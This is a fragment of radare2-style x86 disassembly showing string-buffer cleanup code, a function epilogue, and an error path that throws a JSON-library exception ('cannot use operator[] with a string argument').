jb 0x43bb8b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43bc39
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
cmp ecx, 0x10
jb 0x43bbe6
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43bbdc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43bc39
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x43bc16
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43bc0c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43bc39
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402040
call fcn.00402040
call fcn.004e1e70
lea ecx, [ebp - 0x98]
call fcn.00467740
push eax
lea ecx, [ebp - 0x204]
call fcn.00402700
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1ec]
call fcn.004698d0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xd8]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0xd8]
push 0x531630
push eax
call fcn.004de5bb
int3